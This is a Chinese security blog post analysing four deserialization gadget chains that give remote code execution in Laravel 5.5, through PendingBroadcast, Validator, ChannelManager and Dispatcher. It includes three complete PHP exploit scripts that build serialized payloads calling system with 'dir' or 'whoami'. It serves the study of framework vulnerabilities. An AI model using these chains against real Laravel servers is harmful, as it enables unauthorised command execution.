laravel 5.5 RCE分析(四条链)

第一条链子(和5.4一样的链子)

依然是找到_destruct函数,这里我们依然先从54漏洞的位置来分析:
在这里插入图片描述
再寻找_call函数之前,先梳理一下我们通过_call方法的思路:
首先events变量是要去实例化一个类,而且这个类中不存在dispatch方法或者可以被我们RCE,RCE这种情况概率不大基本可以忽略,其次dispatch应该是一个可控的数组,我们通过这个可控的数组传入system命令,然后event就是我们的cmd
思路清楚了,再来开始审计把:
寻找_call方法:
在这里插入图片描述
同样还是找到了laravel54的入口点,继续进去看看行不行:
在这里插入图片描述
查看变量是否可控:
在这里插入图片描述
formatters依然可控:
这里有一点要说明一下,前面5.4的时候说的不是很清楚:
在这里插入图片描述

问题一:$arguments是数组,如何RCE?

仔细看一下手册就知道system了:
在这里插入图片描述
因此我们可以传入一个数组进来

问题二:$argument=array();

但是这里又遇到一个问题,上一篇写laravel54的时候忽略了这个问题:
$argument=array();经过处理后,到底是什么样的?
在这里插入图片描述
很显然,本身的值就是一个Array,那么这里如何执行我们的cmd呢?
这里写个代码自己测试一下就知道了

<?php
    class test
    {
        protected $abc='456';
        protected $cde='789';
        public $events='1111';
        /*public function echo1($abc)
        {
            echo $abc;
            
        }
        public function dog($cde)
        {
            echo $cde;
        }
        */
        public function __construct($bcsadsa=array()) 
        {
            echo $bcsadsa;
        }
        
    }
    $a=new test('123' );

还是自己的基础知识不够扎实啊,这个地方绕了还是挺久的了。
上述代码经过各种编写,自己又进一步了解到php里面传参,控制变量等等,总结成如下:
只要不同方法里面,需要传参的个数是一样的,就可以一直把方法控制下去,如果遇到需要传入参数个数不一样,然后这个方法的类里面又没有定义这个参数,就无法控制,既然这些都已经了解了,那么就不再继续讲解这个链了,前面一篇文章讲解过。

第二条链子:(寻找其他可用的_call方法)

这里_call方法我们从Illuminate\Validation\Validator入手:主要代码如下,已经删除无关代码,可以清楚看清楚如何调用,不用自己一步一步去切换
在这里插入图片描述阐述一下整个流程:
_call–>if语句–>callExtension–>is_callable–>call_user_func_array
调用的难点:
$rule 经过snake方法改变了传进去methoed值
调用call_user_func方法就要通过is_callable
整理一下思路:

在这里插入图片描述
$rule通过substr从第八个字符开始截取,snake存在字符串替换,大小写转换等等,那么如果让传入的value等于空,返回值也会是空,那么这里$rule的值可控,并且是空(没有具体去看如果传入字符串会被怎么变形,但是这里很显然传入空,是不会做变形的)
再来看第二个难点is_callable:

在这里插入图片描述
首先extensions是一个protected的数组,我们可控,rule的值是空,那么序号1我们可控进入然后调用callExtension,这里把extensions数组rule对应的键值赋给callback,进入最后一个is_callable的判断,那就了解一下is_callable,
在这里插入图片描述
判断$name能否作为可用的函数去调用,因为后面使用了call_usr_func_arry,以免报错,那么这里我们直接传内置函数system不就好了
综上:这个链子我们需要操作的地方就只有一个:
extensions = [’’ => $function];
其他地方实例化即可。
给出EXP:

<?php
namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events,$event)
        {
            $this->events =$events;
            $this->event=$event;
        }
    }
}
namespace Illuminate\Validation
{
    class Validator
    {
       public $extensions = [''=>'system'];
    }
}
namespace{
    $b = new Illuminate\Validation\Validator();
    $a = new Illuminate\Broadcasting\PendingBroadcast($b,'dir');
    echo urlencode(serialize($a));
}

最后打出的结果:
在这里插入图片描述

第三条链子:(寻找其他可用的_call方法)

首先找到一个_call方法作为入口,这里找到的是:Illuminate\Support\Manager这个类中的,跟踪结果如下:

在这里插入图片描述

再该类中找不到getDefaultDriver()方法,注意前面是abstract声明,表名这是一个接口,我们可以从其他类里面去实例化
然后开始寻找getDefaultDriver方法:Illuminate\Notifications\ChannelManager找到一个
在这里插入图片描述
并且参数可控:
在这里插入图片描述
这样一来,通过这个函数我们就可以控制$driver参数的值:
现在参数值也可控了,但是没有可以进行命令执行的点,继续看一下creatDriver这个方法,看看能否有突破口,
跟踪一下:
在这里插入图片描述
可以看到creatDriver方法里面基本上都是if语句,那么看看能不能有所突破
发现一个可以RCE的形式:

if (isset($this->customCreators[$driver])) {
            return $this->callCustomCreator($driver);
        } 

到这里 总结一下:因为driver的值可控,customCreators这个数组可控–>可以进入function callCustomCreator,而且又因为this–>app的可控,所以这样一来: return->customCreators[driver]($this->app)的所有参数我们都可以控,实现RCE
整个流程图如下:
在这里插入图片描述EXP:

<?php
namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        protected $events;

        function __construct($events)
        {
            $this->events = $events;
        }
    }
}


namespace Illuminate\Notifications
{
    class ChannelManager
    {
        protected $app;
        protected $defaultChannel;
        protected $customCreators;

        function __construct($function, $parameter)
        {
            $this->app = $parameter;
            $this->customCreators = ['nice' => $function];
            $this->defaultChannel = 'nice';
        }
    }
}
namespace{
    $b = new Illuminate\Notifications\ChannelManager('system','whoami');
    $a = new Illuminate\Broadcasting\PendingBroadcast($b);
    echo base64_encode(serialize($a));
}

可以看到执行成功
在这里插入图片描述

第四条链子:dispatch

这一条链子比较直接,也比较简单,我直接放流程图分析:
在这里插入图片描述寻找RCE的地方,然后逆推回来。
这里RCE的方式是,listener(event,playload);
看一下$event是否可控
在这里插入图片描述

list函数这里不影响$events的取值,我们传入的events就是我们要执行的命令(dir,记住这里的dir 后面有用);
再来看一下$listenners的值能不能可控:
在这里插入图片描述
一图了然,几个需要注意的地方,返回listeners的值是数组listenner[eventName]的值,这里可控,注意,这里的eventName的值就是我们传进来的event,即dir,就变成了listenner=[‘dir’=>‘system’],这样就可以成功取到system
POC:



<?php

namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        function __construct($events, $parameter)
        {
            $this->events = $events;
            $this->event = $parameter;
        }
    }
}
namespace Illuminate\Events
{
    class Dispatcher
    {
        protected $listeners;

        function __construct($function, $parameter)
        {
            $this->listeners = [
                $parameter => [$function]
            ];
        }
    }
}
namespace{
    $b = new Illuminate\Events\Dispatcher('system','whoami');
    $a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');
    echo urlencode(serialize($a));
}

在这里插入图片描述执行成功

总结:

寻找链子一定要有耐心,寻找可以RCE的点,再去寻找参数是否可控。
对于很多无关的代码,可以调试看看是什么意思,也可以不调试,直接理解函数意思,初次审计代码很多方法很多传变量是否覆盖这些都存在很大问题,审计完两个框架之后就会好很多。
上面的链子是参考Firebasky师傅的文章

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值